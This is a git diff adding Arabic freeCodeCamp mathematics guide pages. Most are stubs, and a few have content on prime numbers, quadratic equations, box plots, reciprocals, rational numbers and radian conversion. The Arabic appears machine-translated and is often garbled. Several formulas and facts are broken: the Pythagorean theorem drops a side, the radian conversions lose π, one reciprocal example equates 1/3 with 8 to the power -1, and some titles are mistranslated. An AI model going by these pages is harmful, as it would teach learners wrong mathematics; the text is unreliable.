+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/prime-factorization/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/prime-number-list/index.md b/client/src/guide/arabic/mathematics/prime-number-list/index.md
new file mode 100644
index 0000000000..5507cd33a9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/prime-number-list/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number List
+localeTitle: قائمة رقم رئيس الوزراء
+---
+## قائمة رقم رئيس الوزراء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/prime-number-list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/prime-numbers/index.md b/client/src/guide/arabic/mathematics/prime-numbers/index.md
new file mode 100644
index 0000000000..cc85a67c71
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/prime-numbers/index.md
@@ -0,0 +1,15 @@
+---
+title: Prime Numbers
+localeTitle: الأعداد الأولية
+---
+## الأعداد الأولية
+
+الرقم الأولي هو أي رقم أكبر من 1 يمكن تقسيمه بالتساوي فقط بمقدار 1 أو في حد ذاته. إذا كان من الممكن تقسيمها على رقم آخر ، فهذا رقم مركب.
+
+أمثلة:
+
+5 هو رقم أولي لأنه يمكن تقسيمه فقط بالتساوي (5) ، و 1.
+
+الرقم 12 ليس رقم أولي لأنه يمكن تقسيمه بالتساوي بواسطة 1 و 2 و 3 و 4 و 6 و 12.
+
+الأرقام الأولية العشرة الأولى هي: 2 و 3 و 5 و 7 و 11 و 13 و 17 و 19 و 23 و 29.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/probability/index.md b/client/src/guide/arabic/mathematics/probability/index.md
new file mode 100644
index 0000000000..ef11493895
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability
+localeTitle: احتمالا
+---
+## احتمالا
+
+احتمال وقوع حدث هو فرصة حدوث حدث.
+
+تتراوح الاحتمالات بشكل عام من 0 إلى 1 ، حيث يشير 0 إلى أن حدثًا لن يحدث أبدًا و 1 أن حدثًا سيحدث على وجه اليقين.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/product-rule-intro/index.md b/client/src/guide/arabic/mathematics/product-rule-intro/index.md
new file mode 100644
index 0000000000..609f688ba6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/product-rule-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Product Rule Intro
+localeTitle: مقدمة المنتج القاعدة
+---
+## مقدمة المنتج القاعدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/product-rule-intro/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md b/client/src/guide/arabic/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md
new file mode 100644
index 0000000000..e0fbbe7838
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md
@@ -0,0 +1,11 @@
+---
+title: Proof of Finite Arithmetic Series Formula by Induction
+localeTitle: دليل على صيغة سلسلة حسابية منتهية عن طريق الاستقراء
+---
+## دليل على صيغة سلسلة حسابية منتهية عن طريق الاستقراء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md b/client/src/guide/arabic/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md
new file mode 100644
index 0000000000..ea0f7ab20b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Properties of Rhombuses Rectangles and Squares
+localeTitle: خصائص Rhombuses المستطيلات والساحات
+---
+## خصائص Rhombuses المستطيلات والساحات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/propositional-logic/index.md b/client/src/guide/arabic/mathematics/propositional-logic/index.md
new file mode 100644
index 0000000000..69792acbed
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/propositional-logic/index.md
@@ -0,0 +1,11 @@
+---
+title: Propositional Logic
+localeTitle: المنطق الاقتراحي
+---
+## مقدمة عن مقترح المنطق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/propositional-logic/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/proving-trigonometric-identities/index.md b/client/src/guide/arabic/mathematics/proving-trigonometric-identities/index.md
new file mode 100644
index 0000000000..ab0bc2ccf8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/proving-trigonometric-identities/index.md
@@ -0,0 +1,11 @@
+---
+title: Proving Trigonometric Identities
+localeTitle: إثبات الهويات المثلثية
+---
+## إثبات الهويات المثلثية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/proving-trigonometric-identities/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/pyramids/index.md b/client/src/guide/arabic/mathematics/pyramids/index.md
new file mode 100644
index 0000000000..fbcabf94d2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/pyramids/index.md
@@ -0,0 +1,11 @@
+---
+title: Pyramids
+localeTitle: الاهرام
+---
+## الاهرام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pyramids/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/pythagorean-theorem/index.md b/client/src/guide/arabic/mathematics/pythagorean-theorem/index.md
new file mode 100644
index 0000000000..8594602bad
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/pythagorean-theorem/index.md
@@ -0,0 +1,19 @@
+---
+title: Pythagorean Theorem
+localeTitle: نظرية فيثاغورس
+---
+## نظرية فيثاغورس
+
+ترتبط نظرية فيثاغورس بالأطراف الثلاثة لمثلث قائم. المثلث الأيمن هو مثلث تكون فيه إحدى الزوايا زاوية قائمة (زاوية 90 درجة). يدعى جانب المثلث المعاكس للزاوية اليمنى باسم الوتر. يمكن تسمية أي من الجانبين الآخرين "القاعدة" (ب) و "عمودي / الارتفاع (أ)". يُشار إلى الزاوية المقابلة للقاعدة (b) بـ "B" والواجهة المقابلة لـ "العمودية". وبهذا تكون الزاوية C 90 درجة وتعرف بالمثلث الأيمن.
+
+المثلث الأيمن يمكن أن يكون فقط متساوي الساقين أو عددي. أبدا متساويا.
+
+اسمحوا ج يكون طول الوتر ، أ وب بطول الجانبين الآخرين.
+
+تنص النظرية على ما يلي:
+
+ج 2 = 2 + ب 2
+
+عندما يتم منحك جانبان من المثلث الأيمن ، يمكنك حساب الثلث باستخدام نظرية فيثاغورس.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/pythagorean-triples/index.md b/client/src/guide/arabic/mathematics/pythagorean-triples/index.md
new file mode 100644
index 0000000000..72e509110d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/pythagorean-triples/index.md
@@ -0,0 +1,11 @@
+---
+title: Pythagorean Triples
+localeTitle: فيثاغورس ثلاثية
+---
+## فيثاغورس ثلاثية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pythagorean-triples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/quadratic-equation-solver/index.md b/client/src/guide/arabic/mathematics/quadratic-equation-solver/index.md
new file mode 100644
index 0000000000..fb41bfbe25
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/quadratic-equation-solver/index.md
@@ -0,0 +1,11 @@
+---
+title: Quadratic Equation Solver
+localeTitle: حل معادلة من الدرجة الثانية
+---
+## حل معادلة من الدرجة الثانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equation-solver/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/quadratic-equations/index.md b/client/src/guide/arabic/mathematics/quadratic-equations/index.md
new file mode 100644
index 0000000000..d9c76088dc
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/quadratic-equations/index.md
@@ -0,0 +1,52 @@
+---
+title: Quadratic Equations
+localeTitle: المعادلات التربيعية
+---
+## المعادلات التربيعية
+
+_المعادلة التربيعية_ هي دالة متعددة الحدود من الدرجة 2 ، مساوية لصفر أو ثابت.
+
+المعادلة الرئيسية للدالة التربيعية هي **ax ^ 2 + bx + c = 0** حيث x هو متغير و a و b و c هي ثوابت حقيقية.
+
+*   يحدد "a" مدى اتساع أو تضييق الوظيفة.
+    
+*   إذا | | | أكبر من 1 ، سيكون القطع المكافئ ضيقًا.
+    
+*   إذا | | | أقل من 1 ، سيكون القطع المكافئ أكبر.
+    
+*   جذر أي دالة هي قيم المعلمة (المعلمات) حيث تساوي الدالة إلى الصفر. جذور معادلة من الدرجة الثانية (دالة في الواقع) هي قيمة المتغير (هنا هو "x" لأن المعادلة التي أخذناها هي تربيعية في "x") والتي تفي بمعادلة لمجموعة معينة من الثوابت (هنا -> a ،قبل الميلاد).
+    
+*   يمكن التعبير عن كل المعادلات التربيعية **ax ^ 2 + bx + c = 0** على أنها **(xp) (xq) = 0** حيث p و q ستكون جذور المعادلة التربيعية. هذه الجذور قد تكون أو لا تكون حقيقية في طبيعتها.
+    
+*   تعمل الدوال التربيعية على إنتاج القطع المكافئ ، والمعروف أيضًا بالشكل "u".
+    
+*   إن قمة وظيفة funtion التربيعية هي نقطة الانعطاف التي يعكس فيها الرسم البياني نفسه (وبالتالي فإن قمة الرأس تتعلق أيضًا بـ "محور التماثل" ، وهو الخط الذي تعكس فيه وظيفة تربيعية).
+    
+*   قيم x حيث يكون الرسم البياني **y = ax ^ 2 + bx + c** يمس المحور x هي جذور المعادلة التربيعية **ax ^ 2 + bx + c = 0** .
+    
+
+## ROOTS
+
+والتربيعية لها دائما جذور 2. في حالة أن الدالة التربيعية تمثل مربعًا مثاليًا ، يقال أن الجذور لها نفس القيمة (مع العلم أن هناك جذرًا واحدًا فقط سيكون خاطئًا لأن المعادلة التربيعية لها جذور 2). يمكن حساب طبيعة وقيمة الجذور باستخدام مجموعة الثوابت المرتبطة بها.
+
+### طبيعة الجذور
+
+كما ذكر سابقا ، فإن جذور معادلة من الدرجة الثانية ليست دائما حقيقية. يمكن تحديد طبيعة الجذور بسهولة عن طريق حساب قيمة D التي تعطى بواسطة b ^ 2-4ac
+
+**D = ب ^ 2-4ac**
+
+*   إذا كانت D> 0 ، فسيكون كل من الجذور حقيقية في طبيعتها.
+*   إذا كانت D == 0 ، فإن كلا الجذور ستكون حقيقية ومتساوية في طبيعتها.
+*   إذا كانت D <0 ، فسيكون كل من الجذور خيالية بطبيعتها (لن تفي أي قيمة حقيقية لـ x بالمعادلة)
+
+يمكن ملاحظة بسهولة أن قيم الجذور متساوية فقط عندما تكون D == 0 ولكن طبيعة الجذور هي نفسها دائما لكل من الجذور.
+
+### قيمة الجذور
+
+دع جذور **ax ^ 2 + bx + c = 0** تكون p و q ، ثم
+
+p = (-b + sqrt (D)) / 2a
+
+q = (-b - sqrt (D)) / 2a
+
+*   المعادلة لها جذور خيالية ، وستجد دائما في أزواج مترافقة. على سبيل المثال ، إذا كنت تعرف أن أحد الجذور هو 2 + 3i ، فيمكنك مباشرةً تحديد الجذر الآخر كـ2-3 عن طريق تغيير تسجيل الدخول بين الجزء الحقيقي والخيالي من القيمة. (يمكن استنتاج هذا من صيغة حساب قيمة الجذور.)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md b/client/src/guide/arabic/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md
new file mode 100644
index 0000000000..378a608584
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md
@@ -0,0 +1,11 @@
+---
+title: Quadrilaterals Square Rectangle Rhombus Trapezoid Parallelogram
+localeTitle: Quadrilaterals Square Rectangle Rhombus Trapezoid Parallelogram
+---
+## Quadrilaterals Square Rectangle Rhombus Trapezoid Parallelogram
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/quartiles/index.md b/client/src/guide/arabic/mathematics/quartiles/index.md
new file mode 100644
index 0000000000..0bf7c91b23
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/quartiles/index.md
@@ -0,0 +1,11 @@
+---
+title: Quartiles
+localeTitle: الربعية
+---
+## الربعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quartiles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/radians-to-degrees/index.md b/client/src/guide/arabic/mathematics/radians-to-degrees/index.md
new file mode 100644
index 0000000000..59401a8b18
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/radians-to-degrees/index.md
@@ -0,0 +1,19 @@
+---
+title: Radians to Degrees
+localeTitle: راديان لالدرجات
+---
+## راديان لالدرجات
+
+دورة كاملة واحدة = 2π راديان = 360 درجة
+
+1 راديان = 360/2 درجة
+
+p راديان = p × 360/2 درجة
+
+### أمثلة:
+
+2 راديان = 2 \* 180 / درجة مئوية
+
+2.5 راديان = 2.5 \* 180 / درجة مئوية
+
+0.3 راديان = 0.3 \* 180 / درجة مئوية
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/radians/index.md b/client/src/guide/arabic/mathematics/radians/index.md
new file mode 100644
index 0000000000..f1cd8db54f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/radians/index.md
@@ -0,0 +1,11 @@
+---
+title: Radians
+localeTitle: راديان
+---
+## راديان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radians/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/radicals-introduction-and-simplification/index.md b/client/src/guide/arabic/mathematics/radicals-introduction-and-simplification/index.md
new file mode 100644
index 0000000000..3850c89b9e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/radicals-introduction-and-simplification/index.md
@@ -0,0 +1,11 @@
+---
+title: Radicals Introduction and Simplification
+localeTitle: الجذور مقدمة ومبسطة
+---
+## الجذور مقدمة ومبسطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radicals-introduction-and-simplification/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/radicals-rationalizing-the-denominator/index.md b/client/src/guide/arabic/mathematics/radicals-rationalizing-the-denominator/index.md
new file mode 100644
index 0000000000..8a4c8f549d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/radicals-rationalizing-the-denominator/index.md
@@ -0,0 +1,11 @@
+---
+title: Radicals Rationalizing the Denominator
+localeTitle: الراديكاليون ترشيد القاسم
+---
+## الراديكاليون ترشيد القاسم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radicals-rationalizing-the-denominator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/radius-diameter-circumference/index.md b/client/src/guide/arabic/mathematics/radius-diameter-circumference/index.md
new file mode 100644
index 0000000000..f21088fdd3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/radius-diameter-circumference/index.md
@@ -0,0 +1,11 @@
+---
+title: Radius Diameter Circumference
+localeTitle: قطر دائرة قطرها
+---
+## قطر دائرة قطرها
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radius-diameter-circumference/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/rational-numbers/index.md b/client/src/guide/arabic/mathematics/rational-numbers/index.md
new file mode 100644
index 0000000000..aef39206b8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/rational-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Rational Numbers
+localeTitle: أرقام نسبية
+---
+## أرقام نسبية
+
+الرقم المنطقي هو أي رقم يمكن كتابؤه كسسر من عددين. _10/5_ عبارة عن كسر ، وهي تساوي 2. _8/3_ عبارة عن كسر ، وهي تساوي 2.66666 (حيث تتكرر 6 بشكل متكرر عدة مرات). بما أن أي عدد صحيح يمكن استخدامه للتعبير عن كسر ، فإن جميع الأعداد الصحيحة هي أيضاً عقلانية. كما رأينا ، يمكن كتابة 2 كـ _10/5_ ، ولكن يمكن أيضًا كتابتها كـ _2/1_ . مثل أي عدد صحيح **ن** كما يمكن كتابة **_ن_** / 1، جميع الاعداد الصحيحه هي عقلانية. نظرًا لأنه يجب كتابة رقم منطقي كجزء من عدد 2 من الأعداد الصحيحة ، فإن _pi_ و _e_ ليسا منطقيين ، حيث لا يمكن التعبير عنهما كسلاسل بأعداد صحيحة.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/ratios/index.md b/client/src/guide/arabic/mathematics/ratios/index.md
new file mode 100644
index 0000000000..4d4cec6851
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/ratios/index.md
@@ -0,0 +1,11 @@
+---
+title: Ratios
+localeTitle: نسب
+---
+## نسب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/ratios/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/reading-box-plots/index.md b/client/src/guide/arabic/mathematics/reading-box-plots/index.md
new file mode 100644
index 0000000000..4f9d2df4e5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/reading-box-plots/index.md
@@ -0,0 +1,34 @@
+---
+title: Reading Box Plots
+localeTitle: القراءة مربع المؤامرات
+---
+## القراءة مربع المؤامرات
+
+Box Plots قد يبدو غير واضح للوهلة الأولى ، لكنها طريقة رائعة لنقل الكثير من المعلومات من شكل مدمج. هنا كيف يمكنك قراءة المعلومات الواردة في مربع مؤامرة:
+
+![BoxPlotExample](https://github.com/viso-gio/HostedImages/blob/master/Boxplot.jpg?raw=true)
+
+يحتوي Box Plot على العديد من العناصر التي يمكننا التعرف عليها:
+
+*   المربع ، الذي تم تقسيمه إلى قسمين
+*   شاطران ، فوق وتحت الصندوق
+*   ربما بعض النقاط المتفرقة: المتطرفة
+
+يمثل كل قسم من مساحة الصندوق فاصل رزمة من عدد سكان البيانات. ما يعنيه هذا ، هو أن 25٪ من البيانات تكمن في طرفي الشارب السفلي ، و 25٪ خلال الفترة الزمنية التي يغطيها الجزء السفلي من المربع وخط الوسط ، و 25٪ داخل الوسيط وأعلى الصندوق ، و 25 ٪ في الشارب العلوي. يتم تمثيل أي احصائيات خارجية كمنطقة خارج الصندوق.
+
+في المثال المذكور أعلاه ، سيكون لدينا (باستخدام القيم العددية التقريبية):
+
+*   ربع البيانات بين 1 و 3 (الشارب السفلي)
+*   ربع البيانات بين 3 و 5 (الجزء السفلي من المربع)
+*   ربع البيانات بين 5 و 7.5 (الجزء العلوي من المربع)
+*   ربع البيانات بين 7.5 و 10 (الطولي العلوي)
+*   نقطتين خارجيتين فوق boxplot
+
+لاحظ أن الخط الذي يشطر الصندوق يمثل **الوسيط** (50٪) **وليس الوسط** .
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات:
+
+*   [ويكيبيديا: Box Plot](https://en.wikipedia.org/wiki/Box_plot)
+*   [أكاديمية خان: قراءة صندوق Plots (فيديو)](https://www.khanacademy.org/math/probability/data-distributions-a1/box--whisker-plots-a1/v/interpreting-box-plots)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/real-numbers/index.md b/client/src/guide/arabic/mathematics/real-numbers/index.md
new file mode 100644
index 0000000000..fa46330058
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/real-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Real Numbers
+localeTitle: ارقام حقيقية
+---
+## ارقام حقيقية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/real-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/reciprocal/index.md b/client/src/guide/arabic/mathematics/reciprocal/index.md
new file mode 100644
index 0000000000..cce9d65799
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/reciprocal/index.md
@@ -0,0 +1,37 @@
+---
+title: Reciprocal
+localeTitle: متبادل
+---
+## متبادل
+
+**المتبادل** من رقم واحد مقسومًا على هذا الرقم.
+
+#### مثال
+
+المتبادل من 3 هو 1 ⁄ 3
+
+يمكن تعريف **المعاملة بالمثل** على أنها رقم مأخوذ بقدرة -1.
+
+#### مثال
+
+1 ⁄ 3 نفس 8 إلى قوة -1.
+
+يمكنك أيضًا أخذ جزء متبادل من الكسر عن طريق قلب الجزء. على سبيل المثال، معكوس 2/3 هو 3/2.
+
+### ملحوظة
+
+1.  المتبادلة من المعاملة بالمثل هي الرقم الأصلي.
+
+#### مثال
+
+المتبادلة من 23 هي 1 ⁄ 23 . الآن إذا أخذنا معكوس 1 ⁄ 23 و filp في الكسر ، نحصل على 23 ⁄ 1 وهو الرقم الأصلي.
+
+2.  إذا قمت بضرب رقم بواسطة المعاملة بالمثل ، فستحصل دائمًا على 1.
+
+#### مثال
+
+متبادلة من 16 هي 1 ⁄ 16 . إذا قمت بضرب 1 ⁄ 16 مع 16 ، فستحصل على 1.
+
+3.  لا يحتوي الصفر على المعاملة بالمثل
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/related-rates-falling-ladder/index.md b/client/src/guide/arabic/mathematics/related-rates-falling-ladder/index.md
new file mode 100644
index 0000000000..35f119583d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/related-rates-falling-ladder/index.md
@@ -0,0 +1,11 @@
+---
+title: Related Rates Falling Ladder
+localeTitle: أسعار الفائدة Falling Ladder
+---
+## أسعار الفائدة Falling Ladder
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/related-rates-falling-ladder/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/antisymmetry/index.md b/client/src/guide/arabic/mathematics/relations/antisymmetry/index.md
new file mode 100644
index 0000000000..8ceccf2860
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/antisymmetry/index.md
@@ -0,0 +1,11 @@
+---
+title: Antisymmetry
+localeTitle: Antisymmetry
+---
+## Antisymmetry
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/antisymmetry/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/cartesian-product/index.md b/client/src/guide/arabic/mathematics/relations/cartesian-product/index.md
new file mode 100644
index 0000000000..bc2eca9ace
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/cartesian-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Cartesian Product
+localeTitle: المنتج الديكارتي
+---
+## المنتج الديكارتي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/cartesian-product/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/composite-relations-matrices/index.md b/client/src/guide/arabic/mathematics/relations/composite-relations-matrices/index.md
new file mode 100644
index 0000000000..aace137bef
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/composite-relations-matrices/index.md
@@ -0,0 +1,11 @@
+---
+title: Composite Relations Matrices
+localeTitle: مصفوفات العلاقات المركبة
+---
+## مصفوفات العلاقات المركبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/composite-relations-matrices/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/composite-relations/index.md b/client/src/guide/arabic/mathematics/relations/composite-relations/index.md
new file mode 100644
index 0000000000..ffa71ddb42
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/composite-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Composite Relations
+localeTitle: العلاقات المركبة
+---
+## العلاقات المركبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/composite-relations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/relations/directed-graphs-of-relations/index.md b/client/src/guide/arabic/mathematics/relations/directed-graphs-of-relations/index.md
new file mode 100644
index 0000000000..fbd84e531d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/relations/directed-graphs-of-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Directed Graphs of Relations
+localeTitle: رسم بياني للعلاقات
+---
+## رسم بياني للعلاقات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/directed-graphs-of-relations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
